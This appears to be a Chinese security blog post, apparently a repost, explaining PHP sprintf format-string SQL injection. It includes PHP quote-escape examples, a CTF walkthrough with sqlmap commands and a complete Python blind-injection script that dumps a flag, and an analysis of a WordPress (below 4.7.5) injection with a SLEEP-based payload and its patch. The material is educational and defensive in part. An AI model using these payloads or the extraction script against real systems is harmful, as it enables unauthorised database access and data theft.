首页 » Web前端 » phpsprintfdouble技巧_深入解析sprintf格式化字符串马脚

phpsprintfdouble技巧_深入解析sprintf格式化字符串马脚

访客 2024-11-22 0

扫一扫用手机浏览

文章目录 [+]

sprintf(format,arg1,arg2,arg++)arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。
该函数是逐步实行的。
在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。
注释:如果 % 符号多于 arg 参数,则您必须利用占位符。
占位符位于 % 符号之后,由数字和 "$" 组成。
通过几个例子回顾一下sprintf

例子1:

<?php$number = 123;$txt = sprintf("带有两位小数:%1$.2f<br>不带小数:%1$u",$number);echo $txt;?>输出结果:带有两位小数:123.00 不带小数:123

【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回答“领取”获取——】

phpsprintfdouble技巧_深入解析sprintf格式化字符串马脚

1.网络安全多个方向学习路线

phpsprintfdouble技巧_深入解析sprintf格式化字符串马脚
(图片来自网络侵删)

2.全网最全的CTF入门学习资料

3.一线大佬实战履历分享条记

4.网安大厂口试题合集

5.红蓝对抗实战技能秘籍

6.网络安全根本入门、Linux、web安全、渗透测试方面视频

例子2:

<?php$num1 = 123456789;$num2 = -123456789;$char = 50;// ASCII 字符 50 是 2//注释:格式值 "%%" 返回百分号echo sprintf("%%b = %b",$num1)."<br>"; // 二进制数echo sprintf("%%c = %c",$char)."<br>"; // ASCII 字符echo sprintf("%%s = %s",$num1)."<br>"; // 字符串echo sprintf("%%x = %x",$num1)."<br>"; // 十六进制数(小写)echo sprintf("%%X = %X",$num1)."<br>"; // 十六进制数(大写)?>输出结果:%b = 111010110111100110100010101%c = 2 //把稳var_dump('2')为string%s = 123456789%x = 75bcd15%X = 75BCD150x02 sprintf注入事理底层代码实现

我们来看一下sprintf()的底层实现方法

switch (format[inpos]) {case 's': {zend_string t;zend_string str = zval_get_tmp_string(tmp, &t);php_sprintf_appendstring(&result, &outpos,ZSTR_VAL(str),width, precision, padding,alignment,ZSTR_LEN(str),0, expprec, 0);zend_tmp_string_release(t);break; } case 'd': php_sprintf_appendint(&result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign); break; case 'u': php_sprintf_appenduint(&result, &outpos, zval_get_long(tmp), width, padding, alignment); break; case 'g': case 'G': case 'e': case 'E': case 'f': case 'F': php_sprintf_appenddouble(&result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign ); break; case 'c': php_sprintf_appendchar(&result, &outpos, (char) zval_get_long(tmp)); break; case 'o': php_sprintf_append2n(&result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec); break; case 'x': php_sprintf_append2n(&result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec); break; case 'X': php_sprintf_append2n(&result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec); break; case 'b': php_sprintf_append2n(&result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec); break; case '%': php_sprintf_appendchar(&result, &outpos, '%'); break; default: break;}

可以看到, php源码中只对15种类型做了匹配, 其他字符类型都直接break了,php未做任何处理,直接跳过,以是导致了这个问题:没做字符类型检测的最大危害便是它可以吃掉一个转义符, 如果%后面涌现一个,那么php会把\当作一个格式化字符的类型而吃掉, 末了%\(或%1$\)被更换为空

因此sprintf注入,或者说php格式化字符串注入的事理为: 要明白%后的一个字符(除了%,%上面表格已经给出了)都会被当作字符型类型而被吃掉,也便是被当作一个类型进行匹配后面的变量,比如%c匹配asciii码,%d匹配整数,如果不在定义的也会匹配,匹配空,比如%\,这样我们的目的只有一个,使得单引号逃逸,也便是能够起到闭合的浸染。

这里我们举两个例子NO.1

不该用占位符号

<?php$sql = "select from user where username = '%\' and 1=1#';" ;$args = "admin" ;echo sprintf ( $sql , $args ) ;//=> echo sprintf("select from user where username = '%\' and 1=1#';", "admin");//此时%\回去匹配admin字符串,但是%\只会匹配空运行后的结果select from user where username = '' and 1=1#'NO.2

利用占位符号

<?php$input = addslashes ("%1$' and 1=1#" );$b = sprintf ("AND b='%s'", $input );$sql = sprintf ("SELECT FROM t WHERE a='%s' $b ", 'admin' );//对$input与$b进行了拼接//$sql = sprintf ("SELECT FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,利用%s与%1$\类匹配admin,那么admin只会涌如今%s里,%1$\为空echo $sql ;运行后的结果SELECT FROM t WHERE a='admin' AND b='' and 1=1#'

对付这个问题,我们还可以这样写

$sql = sprintf ("SELECT FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin');//result: SELECT FROM t WHERE a='admin' AND b='' and 1=1#'

第一个格式化处匹配时为空,会让给后面的格式化匹配

以上两个例子是吃掉''来使得单引号逃逸出来 下面这个例子我们布局单引号

NO.3

对%c进行利用

<? php$input1 = '%1$c) OR 1 = 1 /' ;$input2 = 39 ;$sql = "SELECT FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;$sql = sprintf ( $sql , $input2 );echo $sql ;

%c起到了类似chr()的效果,将数字39转化为‘,从而导致了sql注入。
以是结果为:

SELECT FROM foo WHERE bar IN ('') OR 1 = 1 /) AND baz = 39小结

漏洞利用条件

sql语句进行了字符拼接拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串

ps:mysql> SELECT ascii('\'');+-------------+| ascii('\'') |+-------------+| 39 |+-------------+0x03 题目演习一道注入题目

image

形式很像SQL注入,而且题目中提示为SQLI 先试了一下弱口令,确定username为admin 那么就对username与password进行注入,开始普通注入,二次解码,宽字节,过滤空格,过滤关键字等姿势进行布局注入语句都无果,而且还耗费大量的韶光,不过后来get到一种姿势,利用burpsuit的intruder跑一下,来查看那些字母或者字符没有被过滤掉(waf字典) 后来创造%可疑,于是拿出来repeater一下

sprintf函数出错,那么sprintf是什么,格式化字符串,于是乎就懂得个中的事理了,是其单引号逃逸 布局username=admin%1\' and 1=2# 与 username=admin%1\' and 1=2# 与 username=admin%1' and 1=1# 创造如下的结果

可以创造'后面的语句带入实行了,这便是注入点,利用sqlmap跑一下 事先抓取post包

python sqlmap.py -r 3.txt -p username --level 3 --dbs --thread 10

image

于是对ctf进行跑tables 得到

对flag跑columns 得到

对每个列进行dump但是dump下来不对,找了一波缘故原由没有找到,开始用脚本跑 跑完后才创造sqlmap跑出来的列不对,该当是flag,于是

python sqlmap.py -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10

才得到精确结果 :) 下面是脚本跑的

实验推举区

阅读原文做实验

利用sqlmap进行POST注入

http://hetianlab.com/expc.do?ce=1336a6fb-7b18-4dd6-8a6d-b9a7ae92f73d

(理解sqlmap,节制sqlmap的常用命令,学会利用sqlmap进行POST注入攻击)

中央思想

先判断length 然后利用ascii判断字母 ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#" 利用这个语句进行判断

涉及到的一些知识点:

代码

#coding:utf-8import requestsimport stringdef boom(): url = r'http://f6f0cdc51f8141a6b1a8634161859c1c78499dc70eea47f0.game.ichunqiu.com/' s = requests.session()//会话工具requests.Session能够跨要求地保持某些参数,比如cookies,即在同一个Session实例发出的所有要求都保持同一个cookies,而requests模块每次会自动处理cookies,这样就很方便地处理登录时的cookies问题。
dic = string.digits + string.letters + "!@#$%^&()_+{}-=" right = 'password error!' error = 'username error!' lens = 0 i = 0//确定当前数据库的长度 while True: payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#" data={'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens=i break i+=1 pass print("[+]length(database()): %d" %(lens))//确定当前数据库的名字 strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]database():%s" %(strs)) lens=0 i = 1 while True: payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"//对当前的数据库,查询第一个表的长度 data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(table): %d" %(lens)) strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"// 数字一定要str才可以传入 data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]table_name:%s" %(strs)) tablename = '0x' + strs.encode('hex')//编码为16进制 table_name = strs lens=0 i = 0 while True: payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(column): %d" %(lens)) strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]column_name:%s" %(strs)) column_name = strs num=0 i = 0 while True: payload = "admin%1$\\' or " + "(select count() from " + table_name + ")>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: num = i break i+=1 pass print("[+]number(column): %d" %(num)) lens=0 i = 0 while True: payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#" data = {'username':payload,'password':1} r = s.post(url,data=data).content if error in r: lens = i break i+=1 pass print("[+]length(value): %d" %(lens)) i=1 strs='' for i in range(lens+1): for c in dic: payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#" data = {'username':payload,'password':'1'} r = s.post(url,data=data).content if right in r: strs = strs + c print strs break pass pass print("[+]flag:%s" %(strs))if __name__ == '__main__': boom() print 'Finish!'

<?php$input = addslashes("%1$' and 1=1#");echo $input;echo "\n";$b = sprintf("AND b='%s'",$input);echo $b;echo "\n";$sql = sprintf("select from t where a='%s' $b",'admin');echo $sql;>>>结果%1$\' and 1=1#AND b='%1$\' and 1=1#'select from t where a='admin' AND b='' and 1=1#'

格式字符%后面会吃掉一个\即%1$\被更换为空,逃逸出来一个单引号,造成注入.

0x04 Wordpress格式化字符串漏洞漏洞跟踪

wordpress版本小于4.7.5在后台图片删除的地方存在一处格式化字符串漏洞 官方在4.7.6已经给出相识救办法 在我们即将要说的地方增加了这么一端代码

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只许可 %后面涌现dsF 这三种字符类型, 其他字符类型都更换为%%\1, 而且还禁止了%, $ 这种参数定位

首先 我们找到upload.php 可以创造在deleta中 $post_id_del(比如int()) 未经由处理,直接传入

case 'delete': if ( !isset( $post_ids ) ) break; foreach ( (array) $post_ids as $post_id_del ) { if ( !current_user_can( 'delete_post', $post_id_del ) ) //跟进 wp_die( __( 'Sorry, you are not allowed to delete this item.' ) ); if ( !wp_delete_attachment( $post_id_del ) ) wp_die( __( 'Error in deleting.' ) ); } $location = add_query_arg( 'deleted', count( $post_ids ), $location ); break;

跟进wp_delete_attachment( )函数 个中参数$post_id_del为图片的postid wp_delete_attachment( )中 调用了delete_metadata 函数

function wp_delete_attachment( $post_id, $force_delete = false ) {.......delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); // delete all for any posts.......}

连续跟进delete_metadata函数 漏洞触发点紧张在wp-includes/meta.php 的 delete_metadata函数里面, 有如下代码:

if ( $delete_all ) { $value_clause = ''; if ( '' !== $meta_value && null !== $meta_value && false !== $meta_value ) { $value_clause = $wpdb->prepare( " AND meta_value = %s", $meta_value ); } $object_ids = $wpdb->get_col( $wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key ) );}

调用了两个prepare函数 跟进prepare函数

public function prepare( $query, $args ) {if ( is_null( $query ) ) return; // This is not meant to be foolproof -- but it will catch obviously incorrect usage. if ( strpos( $query, '%' ) === false ) { _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );} $args = func_get_args(); array_shift( $args ); // If args were passed as an array (as in vsprintf), move them up if ( isset( $args[0] ) && is_array($args[0]) ) $args = $args[0]; $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s array_walk( $args, array( $this, 'escape_by_ref' ) ); return @vsprintf( $query, $args );}

详细看prepare函数对传入参数的处理过程 首先对%s进行处理

$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s

把'%s'更换为%s,然后再把"%s"更换成%s,更换为浮点数%F 把%s更换成'%s' 末了再进行vsprintf( query,args ); 对拼接的语句进行格式化处理

我们一步步剖析 假设传入的$meta_value为'admin'

$wpdb->prepare( " AND meta_value = %s", $meta_value );

经由prepare函数处理后得到

vsprintf( " AND meta_value = '%s'",'admin')=> AND meta_value = 'admin'

return到上一级函数后,连续实行这一条拼接语句:

$wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )

经由prepare函数处理后得到

vsprintf( "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = 'admin'",'admin')=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'admin'

看起来统统都很正常,毫无bug 但是我们可以思考一下,若何使其形成注入呢?s> 或者说若何逃逸一个单引号? 在之前我们先看一下,可控变量 $post_id_del 的路线

$post_id_del => $post_id => $meta_value => $args => $query

显然这里面两处admin都有单引号,而且两处都与 $post_id_del 联系,如何来选择?

对付第一处单引号 它是通过一次更换处理得到的,显然是对单引号>无法处理 对付第二处单引号 经由两次的更换,(这里的意思是实行了两次的更换代码,可能第二段代码对他没有起到本色性的浸染,仅仅是去点单引号然后又加上单引号) 但是这一出经由了两次处理是必须的,那么我们是否能够是布局出另一个单引号(此时第二处有三个单引号)就可以闭合前面的单引号了

最主要的是,第二次的更换处理的变量是可控的,因此要引入单引号,我们须要$meta_value含有%s 那么第一次的结果为

AND meta_value = 'X%sY'(个中XY为未知量)//这里须要把稳,为什么%s不被单引号围起来,我看过一篇博客,它是写的'%s',这显然是错的,为什么呢?我们天生了'%s'是没错,不过还原一下过程就知道了,首先我们天生了AND meta_value = '%s',把稳此时与$meta_value没有半毛钱关系,后来的vsprintf后,才与$meta_value有了关系,原来的%s被更换成了X%sY,值得把稳的是这里的%s没有经由任何处理,处理是在第二轮进行的,这是后话。

第二次后的结果为

SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'%s'Y'(对付第二处的%s我们先不要带入格式化后的值,实在真实的语句该当为:SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'admin'Y')

剖析到这里,相信大家该当知道传值($meta_value)使单引号逃逸出来了吧

admin显然是多余的,那么我们须要把它放在单引号里面,因此第二个单引号须要去掉,那么第四个单引号须要注释掉,这就很轻而易举地布局sql语句 AND meta_value = 'Xadmin'Y Y里面便是我们注入的代码

漏洞利用

怎么去传值呢? 利用格式化字符串漏洞

去掉第二个单引号就须要使该单引号成为%后的第一个字符,也便是%',但是我们还须要一个占位符,%1$' 这样就没有报错的去掉了该单引号

以是我们布局的payload为

$meta_value = %1$%s AND SLEEP(5)#=> AND meta_value = '%1$%s AND SLEEP(5)'=> "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = AND meta_value = '%1$'%s' AND SLEEP(5)#'",'admin'个中 %1$' => 空=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = AND meta_value = 'admin' AND SLEEP(5)#'成功利用该漏洞形成韶光注入漏洞修补

现在我们说一下第四部分开头的补救方法 后来官方在prepare函数加了这一代码

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只许可 %后面涌现dsF 这三种字符类型, 其他字符类型都更换为%%\1, 而且还禁止了%, $ 这种参数定位

标签:

相关文章

串口协议,通信领域的基石与未来趋势

随着信息技术的飞速发展,通信技术已成为现代社会的基石。在众多通信协议中,串口协议因其简单、可靠、灵活的特点,在工业控制、嵌入式系统...

Web前端 2024-12-23 阅读0 评论0

中石油,中国能源巨头的崛起与未来展望

中国石油天然气集团公司(简称中石油)是我国最大的能源企业,自成立以来,始终秉承“奉献能源,创造和谐”的企业宗旨,为国家经济社会发展...

Web前端 2024-12-23 阅读0 评论0

中国黑客协议,网络安全法治化的里程碑

随着互联网技术的飞速发展,网络安全问题日益凸显。为了维护国家网络安全,保障公民个人信息安全,我国于2017年6月1日起正式实施《网...

Web前端 2024-12-23 阅读0 评论0

个人借款协议,金融安全的基石与规范之路

在现代社会,个人借款已经成为许多人解决短期资金需求的重要途径。而个人借款协议作为规范借款行为、保障各方权益的重要法律文件,其重要性...

Web前端 2024-12-23 阅读0 评论0